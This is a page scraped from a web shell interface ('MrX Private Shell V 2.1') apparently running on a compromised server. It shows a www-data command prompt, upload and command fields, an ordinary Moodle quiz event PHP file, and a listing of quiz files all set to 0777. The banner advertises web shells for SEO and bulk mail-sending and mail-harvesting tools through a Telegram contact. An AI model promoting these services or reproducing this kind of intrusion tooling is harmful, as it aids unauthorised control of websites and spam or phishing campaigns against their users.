__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * The mod_quiz section shuffle updated event.
 *
 * @package    mod_quiz
 * @copyright  2021 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace mod_quiz\event;

/**
 * The mod_quiz section shuffle updated event class.
 *
 * @property-read array $other {
 *      Extra information about event.
 *
 *      - int quizid: the id of the quiz.
 *      - bool shuffle: shuffle option value.
 *      - int firstslotnumber: slot number of the slot which is right after the section break.
 * }
 *
 * @package    mod_quiz
 * @copyright  2021 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class section_shuffle_updated extends \core\event\base {
    protected function init() {
        $this->data['objecttable'] = 'quiz_sections';
        $this->data['crud'] = 'u';
        $this->data['edulevel'] = self::LEVEL_TEACHING;
    }

    public static function get_name() {
        return get_string('eventsectionshuffleupdated', 'mod_quiz');
    }

    public function get_description() {
        return "The user with id '$this->userid' updated the section with id '{$this->objectid}' " .
            "before the slot number '{$this->other['firstslotnumber']}' " .
            "belonging to the quiz with course module id '$this->contextinstanceid'. " .
            "Its shuffle option was set to '{$this->other['shuffle']}'.";
    }

    public function get_url() {
        return new \moodle_url('/mod/quiz/edit.php', [
            'cmid' => $this->contextinstanceid
        ]);
    }

    protected function validate_data() {
        parent::validate_data();

        if (!isset($this->objectid)) {
            throw new \coding_exception('The \'objectid\' value must be set.');
        }

        if (!isset($this->contextinstanceid)) {
            throw new \coding_exception('The \'contextinstanceid\' value must be set.');
        }

        if (!isset($this->other['quizid'])) {
            throw new \coding_exception('The \'quizid\' value must be set in other.');
        }

        if (!isset($this->other['firstslotnumber'])) {
            throw new \coding_exception('The \'firstslotnumber\' value must be set in other.');
        }

        if (!isset($this->other['shuffle'])) {
            throw new \coding_exception('The \'shuffle\' value must be set in other.');
        }

    }

    public static function get_objectid_mapping() {
        return ['db' => 'quiz_sections', 'restore' => 'quiz_section'];
    }

    public static function get_other_mapping() {
        $othermapped = [];
        $othermapped['quizid'] = ['db' => 'quiz', 'restore' => 'quiz'];

        return $othermapped;
    }
}

Filemanager

Name Type Size Permission Actions
attempt_abandoned.php File 3.23 KB 0777
attempt_autosaved.php File 3.79 KB 0777
attempt_becameoverdue.php File 3.42 KB 0777
attempt_deleted.php File 3.06 KB 0777
attempt_manual_grading_completed.php File 2.31 KB 0777
attempt_preview_started.php File 3.09 KB 0777
attempt_question_restarted.php File 4.29 KB 0777
attempt_regraded.php File 3.37 KB 0777
attempt_reopened.php File 2.66 KB 0777
attempt_reviewed.php File 3.05 KB 0777
attempt_started.php File 2.89 KB 0777
attempt_submitted.php File 3.3 KB 0777
attempt_summary_viewed.php File 3.12 KB 0777
attempt_updated.php File 3.74 KB 0777
attempt_viewed.php File 3.45 KB 0777
course_module_instance_list_viewed.php File 1.33 KB 0777
course_module_viewed.php File 1.58 KB 0777
edit_page_viewed.php File 2.67 KB 0777
group_override_created.php File 3.21 KB 0777
group_override_deleted.php File 3.21 KB 0777
group_override_updated.php File 3.2 KB 0777
page_break_created.php File 3.03 KB 0777
page_break_deleted.php File 3.03 KB 0777
question_manually_graded.php File 3.47 KB 0777
quiz_grade_item_created.php File 2.29 KB 0777
quiz_grade_item_deleted.php File 2.29 KB 0777
quiz_grade_item_updated.php File 2.29 KB 0777
quiz_grade_items_reordered.php File 2.05 KB 0777
quiz_grade_updated.php File 2.88 KB 0777
quiz_repaginated.php File 2.63 KB 0777
report_viewed.php File 2.97 KB 0777
section_break_created.php File 3.68 KB 0777
section_break_deleted.php File 3.45 KB 0777
section_shuffle_updated.php File 3.32 KB 0777
section_title_updated.php File 3.54 KB 0777
slot_created.php File 3.17 KB 0777
slot_deleted.php File 2.95 KB 0777
slot_displaynumber_updated.php File 3.5 KB 0777
slot_grade_item_updated.php File 3.14 KB 0777
slot_mark_updated.php File 3.06 KB 0777
slot_moved.php File 3.68 KB 0777
slot_requireprevious_updated.php File 3.07 KB 0777
slot_version_updated.php File 3.59 KB 0777
user_override_created.php File 3.07 KB 0777
user_override_deleted.php File 3.08 KB 0777
user_override_updated.php File 3.07 KB 0777
Filemanager